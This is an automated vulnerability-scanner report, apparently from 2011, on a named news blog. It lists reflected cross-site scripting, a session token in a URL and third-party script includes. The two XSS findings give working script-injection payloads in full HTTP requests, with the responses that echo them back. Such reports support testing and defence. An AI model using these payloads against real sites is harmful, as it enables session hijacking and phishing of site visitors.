XSS, Cross Site Scripting, inyourface.ocregister.com

XSS Host | Vulnerability Crawler Report

Report generated by CloudScan Vulnerability Crawler at Fri Feb 04 13:24:12 CST 2011.

DORK CWE-79 XSS Report

Loading

1. Cross-site scripting (reflected)

1.1. http://inyourface.ocregister.com/2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/ [REST URL parameter 5]

1.2. http://inyourface.ocregister.com/2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/ [name of an arbitrarily supplied request parameter]

2. Session token in URL

3. Cross-domain script include


1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://inyourface.ocregister.com/2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/ [REST URL parameter 5]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://inyourface.ocregister.com
Path:   /2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f25b3"><script>alert(1)</script>e5fb01ad94c was submitted in the REST URL parameter 5. This input was echoed as f25b3\"><script>alert(1)</script>e5fb01ad94c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744f25b3"><script>alert(1)</script>e5fb01ad94c/ HTTP/1.1
Host: inyourface.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Thu, 03 Feb 2011 19:06:29 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
X-Pingback: http://inyourface.ocregister.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Last-Modified: Thu, 03 Feb 2011 19:06:29 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 70357

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org
...[SNIP]...
k rel="alternate" type="application/rss+xml" title=" Page not found - In Your Face - www.ocregister.com" href="http://inyourface.ocregister.com/2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744f25b3\"><script>alert(1)</script>e5fb01ad94c/feed/" />
...[SNIP]...
1.2. http://inyourface.ocregister.com/2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/ [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://inyourface.ocregister.com
Path:   /2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0f14"><script>alert(1)</script>e4a4ce6c848 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b0f14\"><script>alert(1)</script>e4a4ce6c848 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/?b0f14"><script>alert(1)</script>e4a4ce6c848=1 HTTP/1.1
Host: inyourface.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 19:06:12 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
X-Pingback: http://inyourface.ocregister.com/xmlrpc.php
Link: <http://inyourface.ocregister.com/?p=25744>; rel=shortlink
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 84939


                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http:
...[SNIP]...
lication/rss+xml" title=" TV bride won more surgery than she knew - In Your Face - www.ocregister.com" href="http://inyourface.ocregister.com/2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/?b0f14\"><script>alert(1)</script>e4a4ce6c848=1feed/" />
...[SNIP]...
2. Session token in URL  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://inyourface.ocregister.com
Path:   /2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/

Issue detail

The response contains the following links that appear to contain session tokens:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/ HTTP/1.1
Host: inyourface.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 19:05:49 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Thu, 03 Feb 2011 19:04:54 +0000
Cache-Control: max-age=245, must-revalidate
X-Pingback: http://inyourface.ocregister.com/xmlrpc.php
Link: <http://inyourface.ocregister.com/?p=25744>; rel=shortlink
Connection: close
Content-Type: text/html
Content-Length: 84762

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org
...[SNIP]...
</div>


<img src="http://bh.contextweb.com/bh/set.aspx?action=add&advid=1518&token=FOCI1" width="1" height="1" border="0">

<script language="JavaScript">
...[SNIP]...
3. Cross-domain script include  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://inyourface.ocregister.com
Path:   /2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /2011/02/03/tv-bride-won-more-surgery-than-she-knew/25744/ HTTP/1.1
Host: inyourface.ocregister.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Thu, 03 Feb 2011 19:05:49 GMT
Server: Apache
X-Powered-By: PHP/5.2.5
Vary: Cookie
Last-Modified: Thu, 03 Feb 2011 19:04:54 +0000
Cache-Control: max-age=245, must-revalidate
X-Pingback: http://inyourface.ocregister.com/xmlrpc.php
Link: <http://inyourface.ocregister.com/?p=25744>; rel=shortlink
Connection: close
Content-Type: text/html
Content-Length: 84762

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns:og="http://opengraphprotocol.org/schema/" xmlns="http://www.w3.org
...[SNIP]...
</title>
<script type="text/javascript" src="http://admin.brightcove.com/js/BrightcoveExperiences.js"></script>
...[SNIP]...
<link rel="shortcut icon" type="image/x-icon" href="http://www.ocregister.com/favicon.ico" />
<script type="text/javascript" src="http://common.onset.freedom.com/tools/load.php?js=jquery-1.3.2.min,jquery-ui-1.7.1.custom.min,jquery.ifixpng,jqModal,jquery.jcarousel.pack,jquery.cookie,jquery.base64,global.ui,ocr_com_nav&amp;scode=ocregister"></script>
...[SNIP]...
<div id="stats"><script language="javascript" src="http://common.onset.freedom.com/fi/analytics/cms/?scode=ocregister&amp;domain=inyourface.freedomblogging.com&amp;ctype=blog&amp;cname=TV+bride+won+more+surgery+than+she+knew&amp;cauthor=Colin+Stewart&amp;cid=414-25744&amp;&amp;shier=life|beautyshopping|blogs|inyourface&amp;ghier=blogs|blog10"></script></div>
<div id="PageWrap">
   
   
       <script type="text/javascript" src="http://static.newstogram.com/ocregister/js/histogram.js"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script>
...[SNIP]...
<li class="rssfeedme_li" id="" style="list-style:none;background:none;"><script type="text/javascript" src="http://widgets.freedom.com/feeds/rssheads/feedme.php?type=blog&amp;cat=inyourface&amp;feedpath=/tag/bridalplasty/feed/&amp;max=10&amp;description=0&amp;js=1"></script>
...[SNIP]...
<li class="rssfeedme_li" id="" style="list-style:none;background:none;"><script type="text/javascript" src="http://widgets.freedom.com/feeds/rssheads/feedme.php?type=blog&amp;cat=inyourface&amp;feedpath=category/slide-shows/feed/&amp;max=8&amp;description=0&amp;js=1"></script>
...[SNIP]...
<li class="rssfeedme_li" id="" style="list-style:none;background:none;"><script type="text/javascript" src="http://widgets.freedom.com/feeds/rssheads/feedme.php?type=blog&amp;cat=inyourface&amp;feedpath=tag/top-celebrity-posts/feed/&amp;max=7&amp;description=0&amp;js=1"></script>
...[SNIP]...
<li class="rssfeedme_li" id="" style="list-style:none;background:none;"><script type="text/javascript" src="http://widgets.freedom.com/feeds/rssheads/feedme.php?type=blog&amp;cat=inyourface&amp;feedpath=tag/top-slide-shows/feed/&amp;max=10&amp;description=0&amp;js=1"></script>
...[SNIP]...
<div id="afcblog" align="center"><script type="text/javascript" src="http://common.onset.freedom.com/fi/adsense/?scode=ocregister&amp;placement=blogs"></script>
...[SNIP]...
</script>
<script src="http://an.tacoda.net/an/15137/slf.js" language="JavaScript"></script>
...[SNIP]...
Report generated by CloudScan Vulnerability Crawler at Fri Feb 04 13:24:12 CST 2011.